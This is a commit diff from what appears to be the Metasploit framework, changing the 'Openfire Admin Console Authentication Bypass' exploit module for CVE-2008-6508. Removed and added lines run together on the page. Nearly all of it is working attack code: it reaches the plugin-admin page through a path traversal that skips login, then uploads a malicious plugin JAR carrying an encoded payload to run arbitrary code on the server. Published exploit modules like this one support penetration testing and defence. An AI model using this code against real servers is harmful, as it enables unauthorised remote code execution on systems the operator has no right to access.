changes on openfire_auth_bypass

unstable
jvazquez-r7 2012-06-27 23:15:40 +02:00
parent 6ec990ed85
commit 245205c6c9
2 changed files with 42 additions and 52 deletions

Binary file not shown.

View File

@ -4,9 +4,9 @@ require 'rex/zip'
class Metasploit3 < Msf::Exploit::Remote class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking Rank = ExcellentRanking
HttpFingerprint = { :pattern => [ /(Jetty)/ ] } HttpFingerprint = { :pattern => [ /(Jetty)/ ] }
include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE include Msf::Exploit::EXE
@ -15,30 +15,28 @@ class Metasploit3 < Msf::Exploit::Remote
'Name' => 'Openfire Admin Console Authentication Bypass', 'Name' => 'Openfire Admin Console Authentication Bypass',
'Description' => %q{ 'Description' => %q{
This module exploits an authentication bypass vulnerability in the administration This module exploits an authentication bypass vulnerability in the administration
console of Openfire servers. By using this vulnerability it is possible to console of Openfire servers. By using this vulnerability it is possible to
upload/execute a malicious Openfire plugin on the server. upload/execute a malicious Openfire plugin on the server and execute arbitrary Java
code. This module has been tested against Openfire 3.6.0a.
Because of the file/format restrictions for Openfire plugins, it is not possible to deploy
a Java payload, instead the native payload is stored in the changelog.html which will be
renamed/executed by the plugin.
It is possible to remove the uploaded plugin after execution, however this might turn It is possible to remove the uploaded plugin after execution, however this might turn
the server in some kind of unstable state, making re-exploitation difficult. You might want to the server in some kind of unstable state, making re-exploitation difficult. You might
do this manually. want to do this manually.
This module was tested against Openfire 3.6.0a.
}, },
'Author' => [ 'Andreas Kurtz', # Vulnerability discovery 'Author' =>
'h0ng10', # Metasploit module [
'Andreas Kurtz', # Vulnerability discovery
'h0ng10', # Metasploit module
], ],
'License' => MSF_LICENSE, 'License' => MSF_LICENSE,
'Version' => '$Revision: 14774 $', 'Version' => '$Revision: $',
'References' => 'References' =>
[ [
[ 'OSVDB', '49663' ],
[ 'CVE', '2008-6508' ], [ 'CVE', '2008-6508' ],
[ 'OSVDB', '49663' ],
[ 'BID', '32189' ], [ 'BID', '32189' ],
[ 'URL', 'http://community.igniterealtime.org/thread/35874' ], [ 'EDB', '7075' ],
[ 'URL', 'http://community.igniterealtime.org/thread/35874' ]
], ],
'DisclosureDate' => 'Nov 10 2008', 'DisclosureDate' => 'Nov 10 2008',
'Privileged' => true, 'Privileged' => true,
@ -55,11 +53,9 @@ class Metasploit3 < Msf::Exploit::Remote
'Platform' => 'java' 'Platform' => 'java'
} }
], ],
# #
# Platform specific targets # Platform specific targets
# #
[ 'Windows x86 (Native Payload)', [ 'Windows x86 (Native Payload)',
{ {
'Platform' => 'win', 'Platform' => 'win',
@ -80,18 +76,19 @@ class Metasploit3 < Msf::Exploit::Remote
register_options( register_options(
[ [
Opt::RPORT(9090), Opt::RPORT(9090),
OptString.new('PATH', [ false, 'Path to the Openfire admin frontend', '/' ]), OptString.new('TARGETURI', [true, 'The base path to the web application', '/']),
OptString.new('PLUGINNAME', [ false, 'Openfire plugin base name, (default: random)', nil ]), OptString.new('PLUGINNAME', [ false, 'Openfire plugin base name, (default: random)' ]),
OptString.new('PLUGINAUTHOR',[ false, 'Openfire plugin author, (default: random)', nil ]), OptString.new('PLUGINAUTHOR',[ false, 'Openfire plugin author, (default: random)' ]),
OptString.new('PLUGINDESC', [ false, 'Openfire plugin description, (default: random)', nil ]), OptString.new('PLUGINDESC', [ false, 'Openfire plugin description, (default: random)' ]),
OptBool.new('REMOVE_PLUGIN', [ false, 'Try to remove the plugin after installation', false ]), OptBool.new('REMOVE_PLUGIN', [ false, 'Try to remove the plugin after installation', false ]),
], self.class) ], self.class)
end end
def check def check
path = datastore['PATH'] + 'login.jsp' base = target_uri.path
base << '/' if base[-1, 1] != '/'
path = "#{base}login.jsp"
res = send_request_cgi( res = send_request_cgi(
{ {
'uri' => path 'uri' => path
@ -102,7 +99,7 @@ class Metasploit3 < Msf::Exploit::Remote
return nil return nil
end end
versioncheck = res.body =~ /Openfire, \D*: (\d)\.(\d).(\d)\s*<\/div>/ versioncheck = res.body =~ /Openfire, \D*: (\d)\.(\d).(\d)\s*<\/div>/
if versioncheck.nil? then if versioncheck.nil? then
print_error("Unable to detect Openfire version") print_error("Unable to detect Openfire version")
@ -110,12 +107,12 @@ class Metasploit3 < Msf::Exploit::Remote
end end
print_status("Detected version: #{$1}.#{$2}.#{$3}") print_status("Detected version: #{$1}.#{$2}.#{$3}")
version = "#{$1}#{$2}#{$3}".to_i version = "#{$1}#{$2}#{$3}".to_i
return Exploit::CheckCode::Save if version > 360 return Exploit::CheckCode::Safe if version > 360
# Just to be sure, try to access the log page # Just to be sure, try to access the log page
path = datastore['PATH'] + 'setup/setup-/../../log.jsp' path = "#{base}setup/setup-/../../log.jsp"
res = send_request_cgi( res = send_request_cgi(
{ {
'uri' => path 'uri' => path
@ -123,13 +120,12 @@ class Metasploit3 < Msf::Exploit::Remote
if (not res) or (res.code != 200) if (not res) or (res.code != 200)
print_error("Failed: Error requesting #{path}") print_error("Failed: Error requesting #{path}")
return nil return Exploit::CheckCode::Unknown
end end
Exploit::CheckCode::Vulnerable Exploit::CheckCode::Vulnerable
end end
def get_plugin_jar(plugin_name) def get_plugin_jar(plugin_name)
files = [ files = [
[ "logo_large.gif" ], [ "logo_large.gif" ],
@ -141,7 +137,7 @@ class Metasploit3 < Msf::Exploit::Remote
jar = Rex::Zip::Jar.new jar = Rex::Zip::Jar.new
jar.add_files(files, File.join(Msf::Config.install_root, "data", "exploits", "CVE-2008-6508")) jar.add_files(files, File.join(Msf::Config.install_root, "data", "exploits", "CVE-2008-6508"))
plugin_author = datastore['PLUGINAUTHOR'] || rand_text_alphanumeric(8+rand(8)) plugin_author = datastore['PLUGINAUTHOR'] || rand_text_alphanumeric(8+rand(8))
plugin_desc = datastore['PLUGINDESC'] || rand_text_alphanumeric(8+rand(8)) plugin_desc = datastore['PLUGINDESC'] || rand_text_alphanumeric(8+rand(8))
@ -155,8 +151,10 @@ class Metasploit3 < Msf::Exploit::Remote
jar jar
end end
def exploit def exploit
base = target_uri.path
base << '/' if base[-1, 1] != '/'
plugin_name = datastore['PLUGINNAME'] || rand_text_alphanumeric(8+rand(8)) plugin_name = datastore['PLUGINNAME'] || rand_text_alphanumeric(8+rand(8))
plugin = get_plugin_jar(plugin_name) plugin = get_plugin_jar(plugin_name)
@ -165,12 +163,9 @@ class Metasploit3 < Msf::Exploit::Remote
return if ((p = exploit_regenerate_payload(plat, arch)) == nil) return if ((p = exploit_regenerate_payload(plat, arch)) == nil)
#plugin.add_file("readme.html", exe)
plugin.add_file("lib/#{rand_text_alphanumeric(8)}.jar", payload.encoded_jar.pack) plugin.add_file("lib/#{rand_text_alphanumeric(8)}.jar", payload.encoded_jar.pack)
plugin.build_manifest plugin.build_manifest
# Upload the plugin to the server # Upload the plugin to the server
print_status("Uploading plugin #{plugin_name} to the server") print_status("Uploading plugin #{plugin_name} to the server")
boundary = rand_text_alphanumeric(6) boundary = rand_text_alphanumeric(6)
@ -181,7 +176,7 @@ class Metasploit3 < Msf::Exploit::Remote
data << "\r\n--#{boundary}--" data << "\r\n--#{boundary}--"
res = send_request_cgi({ res = send_request_cgi({
'uri' => datastore['PATH'] + 'setup/setup-/../../plugin-admin.jsp?uploadplugin', 'uri' => "#{base}setup/setup-/../../plugin-admin.jsp?uploadplugin",
'method' => 'POST', 'method' => 'POST',
'data' => data, 'data' => data,
'headers' => 'headers' =>
@ -195,24 +190,19 @@ class Metasploit3 < Msf::Exploit::Remote
print_error("Warning: got no response from the upload, continuing...") if !res print_error("Warning: got no response from the upload, continuing...") if !res
# Sometimes the server needs some time to deploy the plugin, so we wait...
1.upto(120) do
break if session_created?
select(nil, nil, nil, 0.25)
end
# Delete the uploaded JAR file # Delete the uploaded JAR file
if datastore['REMOVE_PLUGIN'] then if datastore['REMOVE_PLUGIN'] then
print_status("Try to remove plugin #{plugin_name} from the server") print_status("Deleting plugin #{plugin_name} from the server")
res = send_request_cgi({ res = send_request_cgi({
'uri' => datastore['PATH'] + "setup/setup-/../../plugin-admin.jsp?deleteplugin=#{plugin_name.downcase}", 'uri' => "#{base}setup/setup-/../../plugin-admin.jsp?deleteplugin=#{plugin_name.downcase}",
'headers' => 'headers' =>
{ {
'Cookie' => "JSESSIONID=#{rand_text_numeric(13)}", 'Cookie' => "JSESSIONID=#{rand_text_numeric(13)}",
} }
}, 3) })
if not res
print_error("Error deleting the plugin #{plugin_name}. You might want to do this manually.")
end
end end
handler
end end
end end